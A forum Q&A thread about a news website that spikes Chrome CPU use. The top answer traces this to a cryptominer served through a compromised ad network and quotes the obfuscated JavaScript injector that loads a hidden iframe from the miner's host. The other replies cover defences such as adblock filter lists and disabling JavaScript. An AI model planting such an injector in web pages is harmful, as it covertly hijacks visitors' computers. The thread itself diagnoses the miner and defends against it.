85

Whenever I try to visit this particular website, chrome CPU usage shoots up to at least 75% and my laptop get way louder. If I close the tab everything goes back to normal.

Windows Task Manager CPU usage

Chrome Task Manager CPU Usage

RAM usage never goes up. My naive guess is the website is trying to mine cryptocurrency. But I this happens only if I use Chrome, Edge works normally when I visit this website. The website in question is www.123telugu.com. What could be the reason for this behavior?

  • Im using Chrome and my CPU usage doesnt change on the site. Im guessing the issue is local to your PC, not the site. – Keltari Mar 10 '18 at 18:34
  • 12
    Being a risky fellow, I visited that site with firefox. That specific tab kicked my CPU to 65% instantly, which is almost how quickly I closed the tab. – fred_dot_u Mar 10 '18 at 18:50
  • 2
    I went to that site and same happened so its probably a crypto miner – Suici Doga Mar 12 '18 at 3:56
  • 14
    "Is it a cryptocurrency miner?" It's always a crypto miner. – Ian Kemp Mar 12 '18 at 5:40
  • 1
    Free advert to visit the site :) – Rui F Ribeiro Mar 12 '18 at 19:50
116

Yes, it’s a crypto currency miner. Hosted at www.datasecu.download, implemented in Web Assembly, communicating with its host via Websocket:

enter image description here

It’s distributed using a compromised advertising network:

Extract from https://s3.amazonaws.com/23ap.com/nodejs/sq9/sq_v2.js

var _0x7bc7=["iframe","setAttribute","https://www.datasecu.download/lot.html","head","appendChild","1IABALrINkcv2VFJWo7ctqH0f3Y6aTf1","start","createElement"];!function(t,x){!function(x){for(;--x;)t.push(t.shift())}(++x)}(_0x7bc7,367);var _0x5028=function(t,x){var a=_0x7bc7[t-=0];return console.log(a,t),a};a=document[_0x5028("0x0")](_0x5028("0x1")),a[_0x5028("0x2")]("src",_0x5028("0x3")),a.style.width="0px",a.style.height="1px",document[_0x5028("0x4")][_0x5028("0x5")](a);

tl;dr: Use an Adblocker already.

  • 3
    Hmm. uBlock Origin doesn't stop it (on Firefox at least). – DavidPostill Mar 10 '18 at 20:31
  • 5
    Virustotal comes back clean. Does no one classify crypto currency miners on websites as malicious? – Ploni Mar 11 '18 at 1:48
  • 7
    @Ploni there are some causes where their use isn't malicious and actually legitimate – Keith M Mar 11 '18 at 3:32
  • 4
    I just added www.datasecu.download to my adblock filters and it blocks it now. Thanks. – Rohith Reddy Mar 11 '18 at 20:23
  • 5
    @RonJohn I'd argue that cryptocurrency malware isn't that bad, at least compared to getting Forbes'd. I'd rather have my CPU overused for a couple of minutes than malware installed on my computer. Not at all coincidentally, both are prevented by (a) having a strict adblocker and (b) refusing to make exceptions. – Fund Monica's Lawsuit Mar 12 '18 at 6:09
8

For ublock you can load the noCoin filter list: https://github.com/hoshsadiq/adblock-nocoin-list/

This datasecu website is already included.

1

Just disable javascript and the website won't be able to use your pc's cpu. If you use chrome. Right click -> inspect element -> network (tab) -> settings -> disable javascript.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.